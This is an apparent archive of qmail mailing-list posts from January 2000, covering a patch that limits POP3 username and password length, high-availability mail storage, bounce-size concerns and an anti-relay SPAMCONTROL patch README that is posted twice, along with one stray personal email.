Hey! thanks so much for emailing me. especially through the nass > email way so i can hit everyone at once. how are you? How's Amy? please > tell her i say hello. have you guys heard from Kaylene? gofigure > supposedly doesn't work. i dunno if she's on the farm or what these days. > look me up when your in SD. Yeah, bummer deal. I won't be doing any more > firework roof things with you for awhile. looks like i'm headed to New > York in the fall. > > Shotwells: Sure miss all of you! Please give Tesla a big wet kiss for me > if you would, thanks. you'll be getting some pictures in the mail. hey, > PAY UP FOR THE PHONE BILL KIDS! it's on the fridge. please send it to the > above address or give it to Alex. Elena, please send me copies of the > phone bill(s) so I can pay you, or I'll be there in a couple of weeks. > > > I'd write everyone cute notes, but I'm a toad. email me something > and i'll respond, K? > > Adios mis amigos fuertes. > Love, > Amanda Elder >
This alternate patch to qmail-popup.c can be used to limit username/password to a certain number of characters (I've set it to 40). Note that this patch does no logging, and if given a >40 character argument after user or pass, qmail-popup simply dies with an error instead of trying to truncate the oversize username/password and pass it on. In addition, this patch does not require the inclusion of any extra header files. As with any patch, you apply this at your own risk. I cannot take responsibility for any problems this patch may cause your particular qmail installation. That being said, if anyone does apply this then please make sure to let me know how it works for you. --Adam --- qmail-popup.c.orig Mon Jan 24 21:47:05 2000 +++ qmail-popup.c Mon Jan 24 21:56:54 2000 @@ -61,6 +61,7 @@ void die_fork() { err("unable to fork"); die(); } void die_childcrashed() { err("aack, child crashed"); } void die_badauth() { err("authorization failed"); } +void die_over40() { err("username/password >40 chars not allowed"); die(); } void err_syntax() { err("syntax error"); } void err_wantuser() { err("USER first"); } @@ -87,7 +88,12 @@ int child; int wstat; int pi[2]; - + +/* Don't allow passwords over 40 characters */ + + if(str_len(user) >= 40) die_over40(); + if(str_len(pass) >= 40) die_over40(); + if (fd_copy(2,1) == -1) die_pipe(); close(3); if (pipe(pi) == -1) die_pipe();
Hi, I posted a question a while back about building large mail systems using an NFS server and a lot of smaller SMTP/POP3 machines mounting the NFS-exported maildirs. While we may well end up setting up something like this, I'm worried about the NFS server being a single-point-of-failure. What are the alternatives to this architecture? I think someone else mentioned a farm of lighter-weight servers without NFS. How would this work? How would users know where to get their mail? Brian -- [EMAIL PROTECTED] http://www.baquiran.com US Fax: (603) 908-0727 AIM: bbaquiran
On Mon, 24 Jan 2000, Brian Baquiran wrote: > Hi, > I posted a question a while back about building large mail systems using an NFS > server and a lot of smaller SMTP/POP3 machines mounting the NFS-exported > maildirs. While we may well end up setting up something like this, I'm worried > about the NFS server being a single-point-of-failure. > What are the alternatives to this architecture? I think someone else mentioned a > farm of lighter-weight servers without NFS. How would this work? How would users > know where to get their mail? One thing I am looking at currently is a RAID mounted and available for several machines. Nexsan has such a box. The Nexsan box is connected to each of the mailservers SCSI buses. This is kinda a cheap SAN solution as far as I know. My plan, although not using qmail this time (because of specific needs), is to have several mailservers in front, acting as primary and secondary MX (with additional offsite machines also working as secondary). When one of these machines fail, they will still be able to access a common spool, without using any form of networked filesystem. According to Nexsan, you should be able to give the machines priorties for access. The downside is the cost. I could get 4 mailservers for the prize of the Nexsan box. Any opions on this solution? One I would expect is that the Nexsan is a single point of failure, and well, it is. Even though it is planned to have RAID-5, with an extra disc available at all time. If the RAID box fails, it's down. I would then like to shut down the SMTP receivers so that it get queued remotly, but that could be a problem. -- Thorkild Stray
While I've never heard of these Nexsan boxes, I do know another approach to the problem along similar lines. Get a external raid box (server attached with built in differential raid controller). You can connect two pc's to one such device as long as each scsi controller in the pc has a different scsi ID. Metastor makes a unit like this with a Symbios series 3 raid controller built in, dual redundant fans and power supplies, and 10 slots for sca 80pin drives (we used seagate cheeta 18gig drives). Performance is quite nice, you have your redundancy, and while the raid is a single point of failure, you are using it for the very purpose it was designed. Even if one pc and powersupply fails, or even a drive, you are still up. You have a hot swap drive ready to sync up, a powersupply can be shipped next day air if the vender is not local, and spinning up a new server takes no time if you do proper backups. Stephen Comoletti Systems Administrator Delanet, Inc. http://www.delanet.com ph: (302) 326-5800 fx: (302) 326-5802 Thorkild Stray writes: > One thing I am looking at currently is a RAID mounted and available for > several machines. Nexsan has such a box. The Nexsan box is connected to > each of the mailservers SCSI buses. This is kinda a cheap SAN solution as > far as I know. > > My plan, although not using qmail this time (because of specific needs), > is to have several mailservers in front, acting as primary and secondary > MX (with additional offsite machines also working as secondary). When one > of these machines fail, they will still be able to access a common spool, > without using any form of networked filesystem. According to Nexsan, you > should be able to give the machines priorties for access. > > The downside is the cost. I could get 4 mailservers for the prize of > the Nexsan box. > > Any opions on this solution? One I would expect is that the Nexsan is a > single point of failure, and well, it is. Even though it is planned to > have RAID-5, with an extra disc available at all time. If the RAID box > fails, it's down. I would then like to shut down the SMTP receivers so > that it get queued remotly, but that could be a problem. > > -- > Thorkild Stray > >
all of a sudden I am getting the following message: qmail-inject: fatal: qq trouble creating files in queue (#4.3.0) I thinking there might be a permissions problem on a qmail directory or file but I'm not sure. any ideas would be appreciated thanks ahead of time dmc
Hi, I have a main account called [EMAIL PROTECTED] and also I have my account in other domains [EMAIL PROTECTED] , [EMAIL PROTECTED] , [EMAIL PROTECTED] I need add these additional accounts in my main account [EMAIL PROTECTED] . Is it possible such that all mails coming to these different domains reach the main account [EMAIL PROTECTED] Your help would be much appreciated. I am using Qmail with vpopmail, vchkpasswd, qmailadmin. I want to create this using qmailadmin. Regards John
In the tests I've ran so far it appears that any message qmail bounces will be bounced in it's entirety. So if a 100 Meg attachment is bounced the whole 100 Megs gets sent back to the sender. My concern is that this could be exploited as a denial of service attack. Just send my server three or four 2 gig attachments and let them bounce. This would eat up bandwidth in both directions as well as use large amounts of disk space (albeit temporarily.) I've thought of truncating the message before it's bounced but this still requires my server to read in the entire message. Any suggestions for how to handle this? --------- David Cunningham
Hi all, I know this is probably the wrong forum but maybe someone can point me to the right direction or even give me a few hints. We are newly started company. I have setup qmail on a Linux system and it works superb. Now I'm looking for a web based calendar that can be put on a common server so that it is possible to look at other peoples schedules. It should scale up to about 40 people. I don't want to use EXCHANGE and OUTLOOK. I would like to run it on Linux. Anyone ??? Best Regards/Med v�nlig h�lsning Lars-�ke Torlind Figuration AB Phone + 46 8 44 50 350 Mobile + 46 70 529 7146 Faxnr +46 8 44 50 351
>Date: Mon, 24 Jan 2000 18:00:46 +0100 >To: [EMAIL PROTECTED] >From: "Dr. Erwin Hoffmann" <[EMAIL PROTECTED]> >Subject: QMAIL 1.03 SPAMCONTROL Patch >X-Attachments: E:\QMail\patches\spampatch.tgz; > >Hi, > >I would like to give my SPAMCONTROL patch for QMAIL 1.03 to the public. >Here's the contents of the README: > >PURPOSE >------- > >The SPAMCONTROL patch is intended for environments where some local >E-Mail systems are used (eg. Lotus Notes) and QMAIL 1.03 is facilitated >as a RELAY to the Internet. This may be called an E-Mail Gateway. > >In this case, QMAIL-SMTPD receives all OUTGOING E-Mails from the local >environment and delivers them to MTAs on the Internet. >Additionally, QMAIL-SMTPD should solely receive those INCOMING >Internet E-Mails which are targeted for the local E-Mail systems. >In particular, QMAIL should not forward any E-Mail to third party >MTAs. > >Since QMAIL by contruction is an OPEN RELAY, some vulnerability may be >experienced not in particular to the QMAIL system itself (which can >stand a heavy load), but for other MTAs which are flooded by >SPAM E-Mail. > >By means of the SPAMCONTROL patch, QMAIL-SMTPD can be advised to act >as selective relay and to ignore (not to invoke QMAIL-QUEUE for) E-Mails >from particular senders and/or receipients. Filtering is done analyzing >the E-Mail Header's SENDER and/or RECEIPIENT address. > > >RELAYCLIENT vs. RCPTHOSTS >------------------------- > >Invoking the environment variable $RELAYCLIENT inverses the logic of >QMAIL-SMTPD. Instead accepting RECEIPIENTs explicitely mentioned in >./control/rcpthosts and ./control/morecpthosts, the SENDER >information is evaluated and checked against the environment variable >$RELAYCLIENT. The RELAYCLIENT patch enhances this feature by means of >the files ./control/relayclients and/or ./control/relaydomains. >However, contrary to the original implementation, these files may >coexist with ./rcpthosts and ./morercpthosts which are still effectiv! > >See the attaced SPAMCONTROL.pdf file for more information. > > >ABOUT SPAM E-MAIL >----------------- > >SPAMMERS manipulate either the SENDER (MAIL FROM:) or the >RECEIPIENT (RCPT TO:) address of E-Mails, making a MTA believe >1) that this E-Mail is originated by himself, >2) accepting it and send the SPAM E-Mail to a third party (target) MTA, > which in turn sees this E-Mail to originate from your MTA/Domain, >3) turning your MTA effectively into a host for SPAM E-Mails. > > >FILTER SPAM E-MAIL >------------------ > >First principle: Don't accept E-Mails with the IP address and/or >inverse DNS name of your MTA in the E-Mail's envelope SENDER and/or >RECEIPIENT address. > >Let's assume, your MTA has IP address "12.34.56.78". >The inverse DNS Name becomes "78.56.34.12.in-addr.arpa." > >Include the following canonical filters into the control files: > >./control/FILE expression >--------------------------------------------------------------- >badmailfrom @12.34.56.78 >badmailfrom %12.34.56.78 >badreceipients @12.34.56.78 >badreceipients %12.34.56.78 >badmailpatterns *12.34.56.78* >badrcptpatterns *12.34.56.78* >badmailpatterns *78.56.34.12.in-addr.arpa.* >badrcptpatterns *78.56.34.12.in-addr.arpa.* > > >SPAM E-Mails with the "PERCENTHACK" can be eliminated by adding "*%*" >to the ./control/badmailpatterns and ./control/badrcptpatterns file. >Any E-Mails including a "%" sign in the SENDER and/or RECEIPIENT >address will be rejected. >The filtering logic can be picked up from the SPAMCONTROL.pdf file. > >Please consider, that evaluating the *PATTERNS takes a lot more CPU cycles >then employing BADMAILFROM and BADRECEIPIENTS. However, this has to be >compared with the amount of processing to be spend by QMAIL-QUEUE, >QMAIL-RSPAWN and QMAIL-SEND, and of course your worries! > >Further, the logic of the WILDMAT filter allows you to INCLUDE >particular clients/addresses simply putting an exclamation mark (!) >as first character in the line. > >For more details about the WILDMAT logic, have a look at README.wildmat. > > >LOGGING SPAM >------------ > >For QMAIL-SMTPD I introduced the ability to log rejected E-Mail in the >SYSLOG. Tried to invoke Markus Stumpf patch, but failed. The code is >a direct call to SYSLOG without employing SPLOGGER. I know, Dan will >not like this. But anyway, its working and I think its necessary. >E-Mails rejected by the RELAYCLIENT/RCPTHOSTS mechanisms are not logged. >In case you intend to use the XINETD daemon instead of the regular >INETD, calls to the SMTP port 25 can be redirected to the SYSLOG's >MAILLOG destination, thus giving you a good control of potential >SPAM activity. Check the SYSLOG environment (/etc/syslog.conf). > >See the new man-page of qmail-log(5). > > >HOWTO >----- > >Do the following: > >1. Stop your QMAIL system (receive and send). >2. Modify your INETD/XINETD daemon to your needs. > (an example for the XINETD is included). >3. Follow the INSTALL.spamcontrol instructions. >4. Edit the file ./control/relayclients and include the > IP-Addresses of your local subnets. > (IP-Adresses for SENDERS which are accepted by QMAIL-SMTPD). >5. Instead, you can use ./control/relaydomains and > put your domain name in here. But I don't recommend this. >6. Edit the files > ./control/badmailfrom, > ./control/badmailpatterns, > ./control/badreceipients, > ./control/badrcptpatterns to your needs. > See above samples. >7. Restart QMAIL. >8. If you are already blacklisted, inform those sites that > you don't act as an OPEN RELAY anymore. >9. Watch the QMAIL behavior by means of the SYSLOG information. > >Good luck! > >TESTED ENVIRONMENTS >------------------- >LINUX KERNEL 2.0 >LINUX KERNEL 2.2 >FREEBSD 3.1 > > >FURTHER INFORMATIONS >-------------------- > >- QMAIL: http://www.qmail.org/ >- XINETD: http://synack.net/ >- SPAM: http://maps.vix.com/rbl/ > http://www.orbs.org/ > http://www.obtuse.com/smtpd.html > http://spam.abuse.net/spam/ > > >AUTHORS >------- > >Rask Ingemann Lambertsen - who provided the original RELAY Patch >Marc Pohl - ported it to QMAIL 1.03 ([EMAIL PROTECTED]) >Mark Delany - Auther of the WILDMAT Patch ([EMAIL PROTECTED]) >Erwin Hoffmann - ported it to QMAIL 1.03 and put it all together > >Erwin Hoffmann ([EMAIL PROTECTED]) >Cologne, 2000-01-21. > > +-----------------------------------------------------------------------+ | fff hh Dr. Erwin Hoffmann | | ff hh | | ff eee hhhh ccc ooo mm mm mm Wiener Weg 8 | | fff ee ee hh hh cc oo oo mmm mm mm 50858 Koeln | | ff ee eee hh hh cc oo oo mm mm mm | | ff eee hh hh cc oo oo mm mm mm Tel 0221 484 4923 | | ff eeee hh hh ccc ooo mm mm mm Fax 0221 484 4924 | +-----------------------------------------------------------------------+
>Date: Mon, 24 Jan 2000 18:00:46 +0100 >To: [EMAIL PROTECTED] >From: "Dr. Erwin Hoffmann" <[EMAIL PROTECTED]> >Subject: QMAIL 1.03 SPAMCONTROL Patch >X-Attachments: E:\QMail\patches\spampatch.tgz; > >Hi, > >I would like to give my SPAMCONTROL patch for QMAIL 1.03 to the public. >Here's the contents of the README: > >PURPOSE >------- > >The SPAMCONTROL patch is intended for environments where some local >E-Mail systems are used (eg. Lotus Notes) and QMAIL 1.03 is facilitated >as a RELAY to the Internet. This may be called an E-Mail Gateway. > >In this case, QMAIL-SMTPD receives all OUTGOING E-Mails from the local >environment and delivers them to MTAs on the Internet. >Additionally, QMAIL-SMTPD should solely receive those INCOMING >Internet E-Mails which are targeted for the local E-Mail systems. >In particular, QMAIL should not forward any E-Mail to third party >MTAs. > >Since QMAIL by contruction is an OPEN RELAY, some vulnerability may be >experienced not in particular to the QMAIL system itself (which can >stand a heavy load), but for other MTAs which are flooded by >SPAM E-Mail. > >By means of the SPAMCONTROL patch, QMAIL-SMTPD can be advised to act >as selective relay and to ignore (not to invoke QMAIL-QUEUE for) E-Mails >from particular senders and/or receipients. Filtering is done analyzing >the E-Mail Header's SENDER and/or RECEIPIENT address. > > >RELAYCLIENT vs. RCPTHOSTS >------------------------- > >Invoking the environment variable $RELAYCLIENT inverses the logic of >QMAIL-SMTPD. Instead accepting RECEIPIENTs explicitely mentioned in >./control/rcpthosts and ./control/morecpthosts, the SENDER >information is evaluated and checked against the environment variable >$RELAYCLIENT. The RELAYCLIENT patch enhances this feature by means of >the files ./control/relayclients and/or ./control/relaydomains. >However, contrary to the original implementation, these files may >coexist with ./rcpthosts and ./morercpthosts which are still effectiv! > >See the attaced SPAMCONTROL.pdf file for more information. > > >ABOUT SPAM E-MAIL >----------------- > >SPAMMERS manipulate either the SENDER (MAIL FROM:) or the >RECEIPIENT (RCPT TO:) address of E-Mails, making a MTA believe >1) that this E-Mail is originated by himself, >2) accepting it and send the SPAM E-Mail to a third party (target) MTA, > which in turn sees this E-Mail to originate from your MTA/Domain, >3) turning your MTA effectively into a host for SPAM E-Mails. > > >FILTER SPAM E-MAIL >------------------ > >First principle: Don't accept E-Mails with the IP address and/or >inverse DNS name of your MTA in the E-Mail's envelope SENDER and/or >RECEIPIENT address. > >Let's assume, your MTA has IP address "12.34.56.78". >The inverse DNS Name becomes "78.56.34.12.in-addr.arpa." > >Include the following canonical filters into the control files: > >./control/FILE expression >--------------------------------------------------------------- >badmailfrom @12.34.56.78 >badmailfrom %12.34.56.78 >badreceipients @12.34.56.78 >badreceipients %12.34.56.78 >badmailpatterns *12.34.56.78* >badrcptpatterns *12.34.56.78* >badmailpatterns *78.56.34.12.in-addr.arpa.* >badrcptpatterns *78.56.34.12.in-addr.arpa.* > > >SPAM E-Mails with the "PERCENTHACK" can be eliminated by adding "*%*" >to the ./control/badmailpatterns and ./control/badrcptpatterns file. >Any E-Mails including a "%" sign in the SENDER and/or RECEIPIENT >address will be rejected. >The filtering logic can be picked up from the SPAMCONTROL.pdf file. > >Please consider, that evaluating the *PATTERNS takes a lot more CPU cycles >then employing BADMAILFROM and BADRECEIPIENTS. However, this has to be >compared with the amount of processing to be spend by QMAIL-QUEUE, >QMAIL-RSPAWN and QMAIL-SEND, and of course your worries! > >Further, the logic of the WILDMAT filter allows you to INCLUDE >particular clients/addresses simply putting an exclamation mark (!) >as first character in the line. > >For more details about the WILDMAT logic, have a look at README.wildmat. > > >LOGGING SPAM >------------ > >For QMAIL-SMTPD I introduced the ability to log rejected E-Mail in the >SYSLOG. Tried to invoke Markus Stumpf patch, but failed. The code is >a direct call to SYSLOG without employing SPLOGGER. I know, Dan will >not like this. But anyway, its working and I think its necessary. >E-Mails rejected by the RELAYCLIENT/RCPTHOSTS mechanisms are not logged. >In case you intend to use the XINETD daemon instead of the regular >INETD, calls to the SMTP port 25 can be redirected to the SYSLOG's >MAILLOG destination, thus giving you a good control of potential >SPAM activity. Check the SYSLOG environment (/etc/syslog.conf). > >See the new man-page of qmail-log(5). > > >HOWTO >----- > >Do the following: > >1. Stop your QMAIL system (receive and send). >2. Modify your INETD/XINETD daemon to your needs. > (an example for the XINETD is included). >3. Follow the INSTALL.spamcontrol instructions. >4. Edit the file ./control/relayclients and include the > IP-Addresses of your local subnets. > (IP-Adresses for SENDERS which are accepted by QMAIL-SMTPD). >5. Instead, you can use ./control/relaydomains and > put your domain name in here. But I don't recommend this. >6. Edit the files > ./control/badmailfrom, > ./control/badmailpatterns, > ./control/badreceipients, > ./control/badrcptpatterns to your needs. > See above samples. >7. Restart QMAIL. >8. If you are already blacklisted, inform those sites that > you don't act as an OPEN RELAY anymore. >9. Watch the QMAIL behavior by means of the SYSLOG information. > >Good luck! > >TESTED ENVIRONMENTS >------------------- >LINUX KERNEL 2.0 >LINUX KERNEL 2.2 >FREEBSD 3.1 > > >FURTHER INFORMATIONS >-------------------- > >- QMAIL: http://www.qmail.org/ >- XINETD: http://synack.net/ >- SPAM: http://maps.vix.com/rbl/ > http://www.orbs.org/ > http://www.obtuse.com/smtpd.html > http://spam.abuse.net/spam/ > > >AUTHORS >------- > >Rask Ingemann Lambertsen - who provided the original RELAY Patch >Marc Pohl - ported it to QMAIL 1.03 ([EMAIL PROTECTED]) >Mark Delany - Auther of the WILDMAT Patch ([EMAIL PROTECTED]) >Erwin Hoffmann - ported it to QMAIL 1.03 and put it all together > >Erwin Hoffmann ([EMAIL PROTECTED]) >Cologne, 2000-01-21. > >+-----------------------------------------------------------------------+ | fff hh Dr. Erwin Hoffmann | | ff hh | | ff eee hhhh ccc ooo mm mm mm Wiener Weg 8 | | fff ee ee hh hh cc oo oo mmm mm mm 50858 Koeln | | ff ee eee hh hh cc oo oo mm mm mm | | ff eee hh hh cc oo oo mm mm mm Tel 0221 484 4923 | | ff eeee hh hh ccc ooo mm mm mm Fax 0221 484 4924 | +-----------------------------------------------------------------------+
spampatch.tgz
Has anyone set up qmail to use the mbox format without using bin/mail?? I want qmail-local to deliver messages to /var/spool/mail. Thanks in advance, Kristina
